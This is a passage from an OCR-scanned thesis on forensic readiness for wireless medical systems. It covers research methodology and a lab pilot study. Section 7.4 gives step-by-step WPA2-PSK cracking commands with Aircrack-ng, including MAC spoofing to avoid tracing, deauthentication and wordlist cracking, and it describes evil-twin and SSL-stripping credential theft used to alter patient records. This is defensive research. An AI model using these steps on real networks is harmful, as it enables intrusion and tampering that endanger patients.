improvement to subsequent projects” (Peffers et al., 2007, p. 56). Moreover, the
feasibility of iteration will be based on the nature of the research in the problem
context.

The final process of the DSRM process model is “communication”
according to previous researchers (Archer, 1984, and Hevner et al., 2004 cited in
Peffers, 2007, p. 56). Thus, the problem, the significance of the problem, the
artefact design, the utility and novelty, the rigour of the artefact design and its
effectiveness should be communicated “to researchers and other relevant
audiences such as practicing professionals, when appropriate” (Peffers et al.,
2007, p. 56). Similarly, the outcome of DSR can be communicated in scholarly
research publications.

To sum up, the DSRM has four research entry points: a problem-centred
initiation, an objective-centred solution, a design-and-development-centred
initiation and client-/context-initiated solution. However, the researchers can start
their research from any entry point although the proposed DSRM process model is

planned in a nominally sequential order (Peffers et al., 2007).

6.4 APPLICATION OF DESIGN SCIENCE RESEARCH

DS is an important research paradigm in Information Systems (1S) research that
has been used by a large number of researchers (Hevner, March, Park, & Ram,
2004; Cole, Purao, Rossi, & Sein, 2005; Peffers, Tuunanen, Rothenberger, &
Chatterjee, 2007; Hevner & Chatterjee, 2010; Gregor & Hevner, 2013; Drechsler
& Hevner, 2016; Kleinschmidt & Peters, 2017). For instance, Hevner et al. (2004,
p. 77) used the design science framework as a research approach “that creates and
evaluates IT artefacts intended to solve identified organisational problems”. The
artefact is designed and modified until the desired solution is achieved to solve the
problem (Peffers et al., 2007). Similarly, March and Smith (1995 cited in lyawa,

2017) point out that such artefacts can be one of different types, such as:
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constructs, models, methods and instantiations (Hevner et al., 2004). Moreover,
the artefact may involve “social innovations or new properties of technical, social,
or informational resources” (Peffers et al., 2007, p. 49).

However, the artefact in this research is the digital forensic readiness
framework for WMedSys and can be referred to as an instantiation. The
framework comprises different components including a Pi-drone, a wireless
forensic server, and a centralised Syslog server (see Figures 6.5 and 6.14). In
order to achieve the research objectives, the DSRM presented by Peffers et al.
(2007) will be applied.

The design of this DSRM process model (Peffers et al., 2007) has
originated from common DS process elements from the research work done by
different researchers (Archer, 1984; Takeda et al., 1990; Eekels & Roozenburg,
1991; Nunamaker et al., 1991; Walls et al., 1992; Rossi & Sein, 2003; Hevner et
al., 2004; Cole et al., 2005). DSRM consists of six nominal activities in sequential

order that will be specified for this research project in the following sub-sections.

6.4.1 Activity 1: Problem Identification and Motivation

The main purpose of the first activity of DSRM is to identify the problem and
motivation. Johannesson and Perjons (2014, p. 91) define a problem as “an
undesirable state of affairs or a gap between a desirable state and current state”.
However, the researcher has to precisely identify the problem, justify the
importance of the problem and investigate the underlying causes of the problem.
For example, in Chapter 2 the recent hacking or compromising cases of WMedDs
and WMedSys were shown to pose risks for users or patient safety. Hence, to
improve user or patient safety, the researcher has to find a suitable solution (an
artefact) for the identified problem. A well-founded solution cannot only be
exclusively based on the investigation of previously published work from
literature, but also based on other methods (example: surveying or interviewing
stakeholders). Therefore, the researcher can utilise any research method such as
surveys, case studies, action research, interviews, questionnaires, observation,
documents and so on (Johannesson & Perjons, 2014). With regard to justifying the
problem, it is important to describe why such problem is critical and to whom it

will affect. In this research, the safety of users or patients is a critical problem if
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WMedSys are attacked or compromised. After justifying the problem, the
researcher analyses the underlying causes of the identified problem in order to
obtain a feasible solution. The analysis of such problems can be based on previous
research work from literature or statements from stakeholders. To analyse the
underlying problem in this research, the researcher has conducted a literature
review of previously published work from books, journals, digital libraries such as
IEEE, ACM, and Google Scholar. These findings have been presented in Chapters
2-5, and Section 6.1. Similarly, the researcher has chosen to perform
comprehensive studies of wireless LAN security in Auckland City (Kyaw &
Agrawal, 2015; Kyaw et al., 2015).

6.4.2 Activity 2: Define the Objectives of a Solution

The analysis of the literature has delivered the problem, the context, and the state
of current solutions. The literature in Chapters 2-5 clearly specifies the technical
and theoretical risks associated with WMedDs. It also reports security defences
that are viable in the technology and related environments. Digital forensic
readiness as a security provision has also been reviewed and current research
publications reviewed in Section 6.1. Figure 6.5 provides an architecture from the
literature for a digital forensic ready WMedSys. Consequently, the objective for
this study is re-stated as: “The objective of the research is to design a forensically
ready wireless medical system”. The DS methodology is to be used to provide
progressively improved solutions to the problem.

6.4.3 Activity 3: Design and Development

This activity of DSRM s to design and develop an artefact that should fulfil the
requirements from a previous activity (Johannesson & Perjons, 2014). The design
in Figure 6.5 is the result of previous research in the area. This artefact is ready to
enter into the DS methodology for an improvement on the design solution. It is
proposed to make amendments based on the other research reports in Section 6.1,
and then use the improved artefact to guide a technical pilot study that will test the
relevancy in a testbed situation. Figure 6.15 takes the core contribution of Figure
6.5 and innovates potential attack scenarios. For the Pilot Study one scenario of a
man-in-the-middle (MIMT) attack is tested to investigate the concern of patient

records disclosure. The intention is to then to confirm or reject the literature
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vulnerability claims for WMedSys, and then in the scenario tests produce an
improved design.

6.4.4 Activity 4: Artefact Demonstration

Principally system designs and device designs that relate to WMedSys are the
input data. These designs are to be critically analysed and the theoretical data
processed. The assessment is to be for security provisions and forensic provisions
in the designs. This theoretical data is to be used as the basis of advice on how to
improve designs for better user safety; and easier access for forensic and security
investigators. Gap analysis will be used on the designs and the ideal situation
proposed where the trade-off of costs and benefits is made against risk mitigation.
No testing of actual medical devices or systems will occur in the proposed
research. The theory is to produce improved artefacts from the Pilot Study and
then the artefact is to be demonstrated to experts to gain their feedback. A full

implementation runs beyond the scope of this theoretical research.

6.4.5 Activity 5: Artefact Evaluation

Evaluation of the artefacts is to occur progressively. The first improvement of
Figure 6.5 is from the researcher’s critical reflection on the literature analysis and
analysis of similar studies in Section 6.1 that suggests some components are
missing from Figure 6.5. The second evaluation is made from data analysis of the
scenario testing of Figure 6.15 in the laboratory testbed. This data is evaluated for
completeness, functionality, and artefact ease of use. The improved artefact is
then submitted to experts as a demonstration for them to advise further
improvements. As noted in sub-section 6.4.6 the researcher has continuously
submitted the development of ideas and artefact improvements to peer review
through publications. This has also included oral presentations to international

audiences and feedback sessions.

6.4.6 Activity 6: Communication

The DS approach is populated with continuous processes. One of these processes
is that of communication that also acts as a feedback loop on the state and value of
the artefact. From day one the University has required proposals and amendments

(PGR2), and then a formal written and oral communication to two assessors for

106



the PGR9. All of these communications have been completed, passed and
approved for progression of the study. In addition the researcher has actively
published in conferences and Journals to get peer review in oral and written
formats (see publications in thesis formalities). The final communication will be

this thesis in the electronic library and any arising Journal articles.
6.5 DESIGN OF STUDY

The study has a high level and a lower level design to reflect the planning and the
implementation processes respectively. The high level plan in Figure 6.12 shows

the phases from the literature analysis through artefact testing and the final Report.

Tests &
Pilot Study Expert Framework
Feedback

Literature Methodology

Review Specification LG vl

Figure 6.12: High level research Plan
In Figure 6.13 the lower level of research processes is summarised to show how
inputs are fed into the testing processes and the resultant output of feedback on the
artefacts is achieved. These two plans elaborate the design as an action based plan
for investigation and the achievement of the research aim, to improve current

wireless medical network security designs by adding forensic readiness capability.
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Figure 6.13: Low level research plan

6.6 THE RESEARCH MODEL

Based on the review of related and similar studies published in the literature, a
design science methodology is employed to conduct the proposed research.
Vaishnavi and Kuechler (2008) states that the design science research
methodology initiates with a problem awareness which is followed by suggestions
for solutions that are reinforced with existing knowledge in the associated field in
order to produce a proposal and a tentative design. Hence, the proposed research
model includes seven phases (as shown in Figure 6.14). In the first and second
stages of the research, the comprehensive literature review of published papers
from different digital libraries and reputable journals from the past decade was
conducted to give a cohesive treatment of the chosen research topic. For instance,
the publications from different digital libraries such as the Institute of Electrical
and Electronics Engineers (IEEE), the Association for Computing Machinery
(ACM), Springer Link, Science Direct, ProQuest Central, Digital Investigation,

Google Scholar, The New England Journal of Medicine, Journal of Medical
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Devices: Evidence and Research, PubMed, National Institute of Standards and
Technology, Cellular Telecommunications Industry Association (CTIA — The
Wireless Association), ECRI Institute, Food and Drug Association — U.S. (FDA),

and Federal Communications Commission (FCC), were searched and reviewed.

Phase 1 Phase 3 Phase 7

Literature Review ‘Ln.'-'l. Bcn_c it Annl}fmﬁ Phase 5 Presentation of Findings

e . (Security Risks & Benefits . L ) i

{(Wireless Medical Trade-off: Fihics. Privacy Patient Safety {Improvement by Design;
Devices & Systems) e o Safety by Design)

Issucs, cic.,)
Phase 4
Phase 2 Research Methodology Phase 6
Review of Security Risks {Theoretical Data, Forensic Benefils
Theoretical Problems)

Figure 6.14: Logical content research phases
Likewise, books from AUT library and Amazon website were also searched and
reviewed. The searching was done by using keywords such as WMedDs, Wireless
Devices, Wireless Medical Device Security, Misuse Cases, Misuse of WMedDs
and WMedSys, Infusion Pump, Pacemaker, and so on. The literature was analysed,
and the learning compounded into actions.

The second phase of the research (Phase 2 in Figure 6.14) is to review
security risks related to the WMedDs and WMedSys. Then, in research phase
three, the cost benefit analysis (CBA) will be performed by accessing security
risks and benefits trade-off based on the issues (for examples: ethics, privacy, and
so on)(see appendix C for the result). In the fourth phase of the research each
entity, sub-system and service of the WMedSys is theoretically interrogated to
identify, acquire or preserve DE remaining after the test security attacks.
Subsequently, how patient safety will be improved by the re-design of wireless
medical device and systems is done in Phase 5, and what forensic benefits can be
achieved are established in Phase 6. This is achieved by improving designs for the
current WMedSys architectures. The final phases of the research involve an

evaluation of the learning in the form of data analysis and conclusions.
6.7 RESEARCH QUESTIONS

As previously stated, the research question that guides the investigation is:
“What can be improved to make digital forensic investigation

more effective in a wireless medical system?”
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Subsequently, several related secondary or subordinate (sub) questions are

formulated in order to answer the main question.

Sub-Question 1: What are the potential risks (security and privacy) of
current WMedDs and WMedSys?

Sub-Question 2: What are current protection mechanisms to mitigate
security attacks related to a WMedSys?

Sub-Question 3: What are feasible protection mechanisms to improve
the design of WMedDs to mitigate security attacks related to a
WMedSys?

Sub-Question 4: What are the hardware and software required for the

successful acquisition of Digital Evidence (DE) from a WMedSys?

6.8 ASSERTED HYPOTHESES

The main objective of sub-questions is to investigate both the security and
forensic capabilities of a WMedSys so that the scope of both risk mitigation
strategies can be considered. The intention is to bring about design improvements
that reduce the residual risk to a patient of harm or mis-adventure. Hence, in order
to answer the aforementioned secondary questions, asserted hypotheses have been

established as follows:

Hypothesis 1 (Hi): There will be potential DE in the memory of
medical or end-user devices (examples: PDA or remote control of the
insulin pump or server logs) of a compromised WMedSys.

Hypothesis 2 (H2): There will be potential DE that can be found in
intermediary devices (such as wireless access point, switches, and so

on) of a compromised WMedSys.

Hypothesis 3 (Hz): There will be improved retention of DE when a
Forensic Server (FS) is in the WMedSys.

Hypothesis 4 (Hs): There will be potential DE that can be found in

other network locations (examples: IDS, system logs, transaction logs
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and database of the backend database server) of a compromise
WMedSys.

Hypothesis 5 (Hs): There will be improvement of investigator

efficiency when forensically ready designs are implemented.

Hypothesis 6 (He): User safety can be improved by adding forensic
capability in the security design of WMedDs and WMedSys in order

to mitigate risks and to preserve DE for post event analysis.

6.9 DATA AND EVALUATION REQUIREMENTS

The hypotheses are to be tested by collecting two sets of data. One from the pilot
study and the second from the scenario test. In addition expert feedback will be
obtained to learn improvements for the artefact. The pilot study will be used to
confirm or otherwise the validity of the knowledge gap identified in the literature.
The scenario tests will validate claims for improvement or otherwise for the state
of the artefact. The following sub-sections specify the test bed requirements, the

updated artefact, and the expert feedback questions.

6.9.1 Proposed Digital Forensic Readiness System Design

To conduct the research, a model of forensic ready WMedSys will be constructed
as drafted in the Figure 6.15. The proposed WMedSys is a combination of the
existing WLAN and BAN. Hence, according to the previous literature the BAN is
comprised of the WMD (for example: the wireless infusion pump or wireless
continuous glucose monitoring system or an ICD) and controller or wireless
gateway (such as a PDA or a remote control of CGMIDS). Likewise, it is
important to monitor and store the wireless network traffic at access points in a
log file and its integrity can be preserved in order to get useful information to
assist DFI when the WMedSys is compromised. Thus, with respect to the existing
WLAN; the proposed forensic ready system architecture will consist of a wireless
drone, a Wireless Forensic Server (WFS), a centralised syslog server, a backend
database server, and a patient monitoring station (PMSta) (Figure 6.15). Hence, it
is proposed that the WFS and wireless drone within the existing WLAN will be

set up based on the previous literature. Figure 6.5 is the core design obtained from
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literature and Figure 6.15 has added features. Further design research is required
to authenticate, to propose beneficial improvements, and to provide far greater
detail than Figure 6.15.
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Figure 6.15: Proposed forensic ready wireless medical system
A completed forensically ready system has security for prevention of events and
forensic capability to investigate post events. In Figure 6.15, the system
architecture is enhanced by adding a forensic server to the hospital information
system and also the deployment of drones within the wireless network. These
drones within the network are not visible to the wireless network users but they
can track, tap and forward packets to the forensic server. In such a proposal the
cost of information storage is balanced against the benefit of having the evidence
that is readily available. Similarly, the utility cost to the service system is minimal
as the forensic element is independent and self-resourcing and can function
without visibility. Through this proposed research further improvements and
greater detail can be delivered for the understanding of optimal device and

WMedSys design.
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6.9.2 Evaluation Criteria

According to March and Smith (1995), the main purpose of evaluation in Design
Science Research (DSR) is to ensure the goal that an artefact design aligns with
the solution of an identified problem and also progress of the design development
and deployment of an artefact. To systematically review whether the progress has
been accomplished or completed, evaluation criteria should be formulated. Hence,
March and Smith suggest a set of evaluation criteria for DSR artefacts.

Nonetheless, researchers not only need to focus on academic interest, but
also more importantly need to consider the industry application and adoption of
the artefact. For example, on the one hand, industry is more concerned with how
easy the artefact can be used, how well it can be adopted and how efficient it can
be. On the other hand, a researcher is more interested in how reliable the artefact
is and whether or not it is adequate. Therefore, when selecting the evaluation
criteria and subsequently formulating evaluation questions, a researcher must
satisfy both needs and only ask relevant and appropriated questions to ensure the
process will be conducted thoroughly and rigourously.

Table 6.3: Expert evaluation criteria

System Evaluation Sub-
dimensions criteria criteria QR

Goal Efficacy Q1: Overall, how effective do you think
the proposed DFR Framework artefact
would be in the production environment
in case of preserving potential digital

evidence?
Validity Q2: Are the defined components of the

proposed DFR Framework artefact clear
and relevant to what you observe?

Q3: Do vyou think the provided
requirements helpful and adequate in
designing DFR Framework artefact for
WMedSys?
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Environment

Consistency
with people

Utility

Q9: Do you think the proposed DFR
Framework is effective and efficient in
capturing  security attacks on a
WMedSys?

Q10: Do you think the proposed DFR
Framework is effective and efficient in
determining security attacks on a
WMedSys?

Q11: Do you think the proposed DFR
Framework is effective and efficient in
addressing to improve patient/user
safety?

Q18: How effective do you think the
proposed DFR Framework could be if IT
managers/security engineers of clinical
and hospital networks start using it in
their WMedSys?

Understand-
ability

Q6. What was an approximate time for
you to follow all components of proposed
DFR Framework artefact? Was it easy to
understand?

Q15. Were the information provided
related to the artefact logical and helpful?

Ease of use

Q5: How easy or difficult do you think it
is to implement and integrate the
proposed DFR Framework artefact in an
existing WMedSys?

Q12: Please provide your comments on
the usability and ease of operation.

Consistency
with
organisation

Utility

Q4: Do you think the proposed artefact is
useful and realistic in
improving/addressing user/patient safety?

Q16: Is the proposed DFR Framework
artefact cost effective and efficient?

Q17: Is the proposed artefact likely to be
widely adopted and implemented in
WMedSys?
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Structure &

Completeness

Q7: Do you think there is any area of

Activ_ity improvement in the proposed artefact? If
(Dynarrll_c, the s0, please give your suggestion.
operations
£ t?md liti Q8: Is there any modification that should
unc 'fotnha' 1€s be made to any component of the
aftefagt) proposed DFR Framework?

Q13: Can you list the weaknesses and
strengths of the proposed DFR
Framework artefact for WMedSys?

Q14: Regarding the completeness of the
DFR Framework artefact for WMedSys,

how do you think?

In addition, another set of evaluation criteria has been developed by Rosemann
and Vessey (2009). These criteria focus on whether or not an artefact can be
applicable to an industry practitioner. These criteria include importance,
suitability and accessibility of an artefact. Further, Prat et al. (2014) have
recommended a new set of criteria based on March and Smith (2001) for
evaluating information systems (IS) artefacts which is comprised of three major
components including system dimensions, evaluation criteria and sub-criteria. The
new set of evaluation criteria introduces more categories and further divides
March and Smith’s criteria into a hierarchical set. Thus, it provides a more precise
and comprehensive evaluation for an artefact. Table 6.3 shows artefact evaluation
criteria based on a systematic approach derived from Prat et al. (2014).

6.10 CONCLUSION

Chapter 6 has specified a methodology for developing and improving previous
wireless medical system forensic designs. The review of previously completed
and published research identified tools, techniques and methods that others have
used to investigate the wireless vulnerability problems in the medical environment.
The result was also the identification of a systems architecture that served as the
starting point for artefact improvement (Figure 6.5). The DS methodology was
adopted as an appropriate approach and methodology for the study aims. In

Chapter 7 the findings from the pilot study and scenario test will now be reported.
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Chapter Seven

PILOT STUDY AND SCENARIO FINDINGS

7.0 INTRODUCTION

( N

Chapter 1 Introduction

e/
—————————————x

Chapter 2 Disturbing Case

Examples

e/
————————————=x

Chapter 3 Wireless Medical

Devices and Networks

N ———————————————
=

Chapter 4 Security Risks

N ————————————
==

Chapter 5 Wireless Network

Architecture and Standards

e ————————————
————————————=

Chapter 6 Research
Methodology

IR A T RS T e
-
Chapter 7 Pilot Study and

7.0 Introduction

7.1 Experimental Test-Bed

7.2 Integrating a Centralised Syslog System
within WMedSys

Scenario Findings

\ee—
==

Chapter 8 Expert Feedback

Evaluation

e ee————————
————————————=

Chapter 9 A Proposed Two-

Tier Security Model

T ———
==

Chapter 10 Summary and

Conclusion

N ———————————————
==

References & Appendix

7.3 Pilot Study: Manipulating Patient Data by
Using MITM Attack

7.4 The Attack Processes

7.5 Scenario Tests

7.6 The Improved Artefact

7.7 Conclusion

Figure 7.1: Roadmap of Chapter 7

Wireless local area networks (WLANSs) are widely deployed in the healthcare

industry due to the benefits provided by these networks such as improvement in

the quality of delivering medical services, mobility, productivity, efficiency and
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the reliability of real-time patient monitoring. However, as was established
theoretically in Chapters 2—4, the nature of wireless networks inherently exposes
patients and medical staff to security and privacy risks, thus reducing the potential
benefits. For example, the design and implementation flaws present in wireless
security protocols such as Wired Equivalent Privacy (WEP), Wi-Fi Protected
Access (WPA), and WPA2 make wireless medical systems and devices
vulnerable to various attacks. In this Chapter 7, the results of the Pilot Study to
confirm or otherwise the literature findings on vulnerabilities are reported. Also
the findings from the scenario tests are reported for quality improvement to the
artefact in Figure 6.15.

Experiments on a typical wireless medical system that utilises WPA2-PSK
and WPA2-Enterprise with various attacks are made by using freely available off-
the-shelf tools to successfully compromise it. The experimental results show that
tools such as “Aircrack-ng” and “Pyrit” can be used to initiate the Man-in-the-
Middle attack on a Wi-Fi Protected Access version 2-Pre-Shared Key (WPA2-
PSK) based WLAN that results in capturing the legitimate credentials of medical
records. Similarly, “Asleap” and “Mana” tools can be used to successfully obtain
login credentials by carrying out dictionary and SSL Stripping attacks on WPA2-
Enterprise, respectively. A comparison of exploiting security vulnerabilities in
these two protocols is also reported. First the pilot study findings are reported to
(in this case) confirm the vulnerabilities identified from the literature. The
scenario findings are then reported to identify elements of improvement of the
artefact design given in Figure 6.15.

A prototype of a typical WMedSys is set up in a controlled laboratory
environment that comprises different servers including a patient database system
and networking devices. The initial forensic readiness components were based on
Figure 6.15. Two fictitious scenarios are used: the first for the Pilot Study, and the
second for the Scenario Test. The experiments demonstrate that MITM attacks
performed by using the tools Aircrack-ng and Pyrit can obtain the credentials of
authorised medical staff of a WMedSys based on WPA2-PSK. Similarly, attacks
on a WMedSys based on WPA2-Enterprise using SSL Stripping and dictionary
attacks are successfully carried out by using Asleap and Mana tools. Moreover,

the comparison of compromising security vulnerabilities in WPA2-PSK and

117



WPAZ2-Enterprise is reported. The contribution of this chapter is to present data
that confirms the literature assertions for vulnerabilities in WMedSys, and also

provide data for the improvement of the artefact (see Figure 7.36 improvements).

7.1 EXPERIMENTAL TEST-BED

The main purpose of this research was to find the answers to the following
questions.

e Question 1: What are the procedures to compromise a WMedSys that

utilises WPA2-PSK by using off-the-shelf tools?
e Question 2: What are the procedures to compromise a WMedSys that
utilises WPA2-Enterprise by using off-the-shelf tools?

In order to answer the research questions, a test bed of relevant hardware and
software was constructed and then artefacts tested. This phase included designing
the network topology, identifying the required hardware (HW) and software (SW)
tools, and setting up the experimental test-bed to replicate the real-world
WMedSys. Then the WMedSys was stressed by performing different attacks (for
example Man-in-the-Middle attack to manipulate the information related to a
patients’ health records). The simulated WMedSys held a centralised Syslog
System for patient records and the wireless network access that would be found in
a real medical environment. The experimental test-bed (WMedSys) was set up in
a controlled environment in the laboratory and based on the previously published
research Vassis et al., 2010; Malasri et al., 2009; Varshney, 2007, Lin et al., 2004,
Varshney, 2003). The WMedSys network included various components such as
servers and networking devices (as shown in Table 7.1 for hardware
specifications). WMedSys architecture is based on a type of infrastructure
wireless network that is composed of the IEEE 802.3 Ethernet wired network and
IEEE 802.11 wireless network. It has wireless clients that emulate doctors or
nurses using wireless devices to monitor patients or update clinical data (such as
blood pressure, glucose levels) related to patients in a real-world hospital or
clinical environment. A widely used open-source electronic medical records
system (OpenEMR) was implemented in the WMedSys to store patient related

data for this research.
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In order to collect the experimental data, the following fictitious case scenarios,

based on previously well-cited articles are used (slightly different scenario for

each test).
Table 7. 1. Components of WMedSys.
I Computer IP Address Software
Component Description Name (X.X.X.X/24) Version
Active
ADDS Directory
Domain
Services
DNS Domain Name _ Windows
System dc01 (Domain Server 2008 R2
Dynamic Host Controller 172.16.50.1 (Enterprise
DHCP Control Server) Edition)
Protocol
Remote
Authentication
RADIUS Dial-In User
Service
XAMPP
XAMPP Web Electronic (version 3.2.1)
Host & Medical loacli & OpenEMR
OpenEMR Records ogclient01 172.16.50.5 (V(raLrjsnlr?inng.(l)hZ),
[38-39] (Open-source) Windows 8
Enterprise
Bro-Network
Intrusion
BrolDS [40] Detection Bro-VM 172.16.50.8 Bro 254
System
(Open-source)
. Splunk
Splunk [41] Centralised logsrv02 172.16.50.12 (Enterprise
Syslog Server .
version: 6.4.0)
Software for
UniFi Managin Controller
Controller UniFi V\;Jire?ess fwdsrv 172.16.50.2 version: 3.2.10
Networks
Ubiquiti UniFi ~ UniFi WAP for Firmware
AP-LR (Long  Wireless LAN - 172.16.50.25 version:
Rang) 3.2.12.2920
Firewall and
Default Router pfSense
Gateway Software pfSense 172.16.50.254 version: 2.2.4
(Open-source)
Cisco 2950 24-ports Cisco 10S
Catalyst - - version: 12.1
Switch
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Scenario 1 (WPA2-PSK) is the compromising of a WMedSys that utilises WPA2-
PSK (The Pilot Study). The first case scenario is created to confirm or otherwise
the vulnerability of the system to attack. A 50-year-old Chief Executive Officer
(CEO), John Lauren, from one of the fortune 500 companies, with underlying
poorly controlled diabetes mellitus was on a wireless insulin pump to get better
control of his blood glucose level. The insulin pump was wirelessly connected
with an automatic glucose monitor. Both the pump and glucose monitor were
attached to the body and the pump infuses insulin depending on the glucose level

data transmitted by the glucose monitor.
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has been cracked)

| Started Mana - MITM attack |

De-authentication
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DNS & ARP Spoofing

Open EMR User Login

User login accepted or refused

Arttacker captured Username
and Password

T

Figure 7.2: Man-in-the-Middle Attack on a WMedSys Using WPA2-PSK.
The pump can store up to 500 units of insulin (250 each for short acting and long
acting insulin). The total daily requirement dosage of the insulin is between 0.2-05
units per kilogram based on body weight of the patient. The higher insulin dose
can induce hypoglycaemia and without immediate correction of the glucose level,
the patient could suffer from permanent brain injury and this could eventually lead
to death. John was currently admitted to the emergency department (for seizure
followed by loss of consciousness) in order to control his blood glucose level. The

blood glucose level was very low. He was immediately treated with glucose bolus

120



IV infusion and he regained conscious later with permeant neurological deficiency.
In this first scenario, the emergency department John was admitted to a private
clinic that deploys the wireless network based on WPA2-PSK (SSID of WLAN
for WMedSys was MyWiFi-Guest).

Figure 7.2 shows the Man-in-the-Middle (MITM) attack carried out by a
malicious attacker deploying the MANA Toolkit in order to manipulate the
patient’s data, which was saved on the backend server (OpenEMR). The MANA
Toolkit is used to create a Fake AP with the same SSID of the legitimate AP used
by the clinic. Hence, in this attack scenario, the attacker used a legitimate client
login and its password. This legitimate credential was obtained after sniffing the
wireless communication (used by a doctor who has a legitimate login username,
doc007), and performing the brute force attack to crack the password by using
Aircrack-ng suite. Afterwards, the malicious attacker accessed the OpenEMR and
changed the patient’s physiological data (the blood glucose level). The successful
MITM attack included de-authentication, DNS and ARP spoofing and capturing

the packets related to authentication.

7.2 INTEGRATING A CENTRALISED SYSLOG SYSTEM WITHIN
WIRELESSS MEDICAL SYSTEM (WMedSys)

In the preliminary test environment (Figure 6.15), the OpenEMR system where
the electronic medical records of patients were stored, was installed on a local
host in the proposed forensic ready WMedSys. The healthcare professionals or
authenticated users such as clinicians, doctors or nurses had wirelessly access to
OpenEMR by using mobile devices in order to retrieve or update registered

patient medical record or data (Figure 7.3).

Private Network y Access Point

(t9)

172.16.50.0/24

-

(C‘ :‘..;D

- Authenticate User
172.16.50.0/24

Figure 7.3: Communication path between un authenticated user and WMedSys
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In Figure 7.4 the attacking path is identified.

FWD . —
DC01 " Patient Monitoring
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Figure 7.4: Integrating a centralised system system in the proposed WMedSys

During the experiment, three different types of open-source syslog servers (one at
a time) were used in order to capture the footprint of patient data manipulation
and malicious attacks. Hence, the best open-source syslog server could be chosen

for the proposed forensic ready WMedSys.

7.3 PILOT STUDY: MANIPULATING PATIENT DATA BY USING MITM
ATTACK

The scenario was an adversary or unauthorised person performing data
manipulation attacks (De-authentication, Man-in-the-Middle or SSL stripping) by
using a Wi-Fi Pineapple (version. Mark IV) while a doctor or nurse updated a
patient data to the backend OpenEMR system (see Figure 7.5). Then, the analysis
of the syslog messages on open-source syslog servers (LOGalyze, Snare Backlog
and Rsyslog) were performed the digital evidence of the attacks. See Appendix E
for the full transcript of the attack communications and device code.
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Figure 7.5: Man-in-the-Middle (MIMT) attack by using a Wi-Fi Pineapple

With the combination of de-authentication (De-Auth) and fake access point (Fake
AP) attacks, an adversary was able to initiate the MIMT attack after
compromising an authenticated user’s login credential. MIMT attack was initiated
by creating the name of a Fake AP with the same as that of the legitimate one and
forcing authenticated users (either doctors or nurses) to get connected with the
fake. Hence the Wi-Fi Pineapple mimicked as a legitimate AP within the system
and all the data traffic during communication could be traced in order to get an
authorised user’s login credentials. However, to trace login credentials, a secure
socket layer stripping (SSL) plug-in was used with the Wi-Fi Pineapple. The
intermediary device (Wi-Fi Pineapple) would not allow any user associated with it
to initiate a secured connection with the private network and forced
communication with an insecure connection once the SSL stripping was enabled.
Thus, the login credentials (username and password) of a doctor or a nurse were
captured along with the patient’s physiological data. This allowed access to the
OpenEMR backend, and an adversary could manipulate/access patient data with
the help of the compromised credentials.

7.4 THE ATTACK PROCESSES

The procedures to compromise the WMedSys that utilises WPA2-PSK, was done
by using off-the-shelf tools and Kali Linux 2.0. The following steps report the
technical actions (see also Appendix B for code).

Step 1: Airmon-ng tool (which is a tool integrated into Aircrack-ng) should be
run to discover the available wireless network interface cards (NICs) on the
attacker’s computer. If there are current processes running in the background,
those processes should be stopped by using the command, “airmon-ng check kill”.

After getting the information about the wireless NIC and terminating any running
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process, the wireless NIC should be put to monitoring mode by running the

“airmon-ng start wlan0” command (Figure 7.6).

:~# airmon-ng start wlan@
No interfering processes found
i rfa Driver Chipset

ath9k_htc Atheros Communications, Inc. AR9271 802.

(mac80211 monitor mode vif enabled for [phy@]wlan® on [phy@]wlan

(macB80211 station mode vif disabled for [phy@]wlan@)

Figure 7.6: Wireless NIC was placed in monitoring mode on attacker’s machine
running Kali Linux 2.0

Step 2: In this step, the attacker changed the wireless MAC address of the
machine used to perform WPA2-PSK attack by using the “macchanger”
command. However, the monitoring interface should be turned off by using
“ifconfig wlanOmon down” command before changing the MAC address and the

monitoring interface should be turned on after changing it (Figure 7.7).

(TP-LINK
(TP-LINK

Figure 7.7: Changing wireless MAC address on the aftacker’s machine

As shown in Figure 7.7, the command option (-a) used after “macchanger” is to
set a new random vendor MAC address of the same kind. By doing so, the
attacker’s machine is difficult to trace back.

Step 3: The “Airodump-ng —M wlanOmon” command was used to capture the
wireless traffic. By doing so, the attacker could obtain the sensitive information

including the MAC addresses of WAPs (Basic Service Set Identifications or

BSSIDs), signal power (PWR) of WAPSs, total numbers of beacons (Beacons),

|

Figure 7.8: Screenshot of the captured wireless traffic
channels used (CH), encryption protocols (ENC) in use, detected cipher
(CIPHER), authentication protocols used (AUTH), Extended SSIDs (ESSIDs),

manufacturer names and the like (Figure 7.8).

124



Figure 7.9: Output screenshot of capturing the authentication handshake
Step 4: Then, “Airodump-ng —c 11 —w root/testAp/WPAZ2capture --bssid
0E:18:D6:2D:AB:0C wlanOmon” command was used on WAP channel to capture
the authentication handshake for the WAP when under attack (Figure 7.9).

In this experiment for the Pilot scenario, the SSID of the WLAN for the
WNMedSys is MyWiFi-Guest and thus the MAC address of WAP under the attack
is OE:18:D6:2D:AB:0C. The command options used are: “-¢”” and “-w”’; which are
the channel being used by WAP and the file for saving captured data, which
contains the authentication handshake between the supplicant (client) and the
authenticator (WAP) respectively. Similarly, “-0 5” options were used for
performing de-authentication attack. For cracking the encrypted password, a
legitimate client must be associated with the WAP. As shown in Figure 7.9, there
are two clients connected to the WAP under attack.

Step 5: However, the time taken to capture a successful handshake create delays.
In order to speed up the handshake capture time, the attacker can initiate a de-
authentication attack by opening a new terminal while still running the previous

one in Step 4 and running the “Aireplay-ng” tool.

Figure 7.10: De-authentication attack

To be able to perform Fake AP attack, the signal strength of Fake AP running on
the attacker’s machine should be stronger than that of WAP under the attack.
Hence, the de-authentication attack performed by the adversary can be seen in
Figure 7.10.

Step 6: The adversary could passively wait for a nurse or doctor who used the
wireless client station (Victim’s MAC: E8:94:F6:27:B2:54) by reconnecting to the
WMedSys with a legitimate username and password. After a while, the WPA2
handshake could be captured (as shown in top right corner of the terminal window

in Figure 7.11) and the captured handshake would be saved in the file

125



(root/testAp/WPAZ2capture). Once the handshake had been captured, the current
process was stopped by using “Ctrl+c” keys (Figure 7.11).

KEY FOUMD! [ ShArk_Z2elB

E.:F'l_:'IL HMAC
- i
Figure 7.11: The result of cracking WPA2-PSK password with Aircrack-ng

Step 7: This step is to perform the dictionary attack to get the password from the
handshake captured. As the offline dictionary attack was carried out by using
Aircrack-ng along with a customised wordlist, the Crunch wordlist generator tool

was initially used (Figure 7.12).

2 M
1

Figure 7.12: Authentication handshake captured

After creating the customised wordlist and cracking password by using Aircrack-
ng, the password (ShArK_2016) was obtained. The result of Aircrack-ng was
shown in Figure 7.13.

root@kali: ~ e e o

File Edit View Search Terminal Help

following number of lines: 3844

Figure 7.13: Creating password list by using Crunch tool

Step 8: Finally, the adversary changed the patient’s physiological data (the blood
